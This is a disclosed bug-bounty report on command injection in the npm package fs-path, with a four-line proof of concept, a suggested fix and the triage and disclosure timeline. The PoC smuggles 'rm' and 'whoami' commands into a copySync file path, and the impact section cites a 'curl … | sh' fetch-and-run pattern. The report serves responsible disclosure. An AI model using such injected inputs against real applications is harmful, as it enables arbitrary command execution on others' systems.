

2`fs-path` concatenates unsanitized input into exec()/execSync() commands

Share:     

TIMELINE

 [chalker](#) submitted a report to [Node.js third-party modules](#). Mar 11th (5 years ago)

I would like to report command injection in `fs-path`.

It allows to inject and execute arbitrary shell commands while performing various operations from `fs-path` API like copying files.

Module

module name: `fs-path`

version: 0.0.24

npm page: <https://www.npmjs.com/package/fs-path>

Module Description

Useful file utilities.

Module Stats

108 downloads in the last day

2 916 downloads in the last week

13 186 downloads in the last month

Vulnerability

Vulnerability Description

Arguments are not properly escaped before being concatenated into the command that is passed to `exec()` / `execSync()`.

See <https://github.com/pillys/fs-path/blob/master/lib/index.js>

Steps To Reproduce:

Code 152 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 const fsPath = require('fs-path');
2 const source = '/bin/lis';
3 const target = '/tmp/foo;rm\t/tmp/foo;whoami>\t/tmp/bar';
4 fsPath.copySync(source, target);
```

Observe `/tmp/bar` being created with `whoami` output.

The same issue affects other methods in `fs-path` API, not just `copySync`.

Patch

The suggested fix is to avoid using `exec` / `execSync` and instead pass parameters as an array of arguments to corresponding `child_process` methods.

Supporting Material/References:

- Arch Linux current
- Node.js 9.7.1
- npm 5.7.1

Wrap up

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

Impact

For setups where user input could end up in arguments of calls to `fs-wrap` API (like filename etc), users would be able to execute arbitrary shell commands.

Note that sanitization of user input on the application side might not prevent this issue, as simple path sanitization that removes stuff `/` and `..` is not enough — commands like `curl example.org | sh` might pass through sanitization of user input (like filenames etc.) on the application side.

 [lirantal](#) [Node.js third-party modules staff](#) changed the status to Triaged. Mar 12th (5 years ago)

 [lirantal](#) [Node.js third-party modules staff](#) posted a comment. Mar 12th (5 years ago)

Hi,

Thanks for reporting this issue.

I was able to reproduce and confirm the issue as you described and will triage this report as vulnerability.

I will invite the package maintainer to this issue.

 [lirantal](#) [Node.js third-party modules staff](#) posted a comment. Apr 24th (5 years ago)

[@chalker](#) due to no activity from the maintainer, how do you feel about disclosing this report?

 [chalker](#) posted a comment. Updated May 11th (5 years ago)

I'm fine with the disclosure.

Depsdb output:

```
3 2343    gulp-version-number
4 1200    gulp-axe-webdriver
5 886     font-plugins-plus
6 645     jdfx
7 ...
```

- lirantal

Node.js third-party modules staff

 updated the severity from High to Critical (9.6).

May 11th (5 years ago)
- lirantal

Node.js third-party modules staff

 closed the report and changed the status to **Resolved**.

May 11th (5 years ago)
- lirantal

Node.js third-party modules staff

 requested to disclose this report.

May 11th (5 years ago)
- lirantal

Node.js third-party modules staff

 disclosed this report.

May 11th (5 years ago)
- lirantal

Node.js third-party modules staff

 changed the scope from **Other module** to **fs-path**.

May 19th (5 years ago)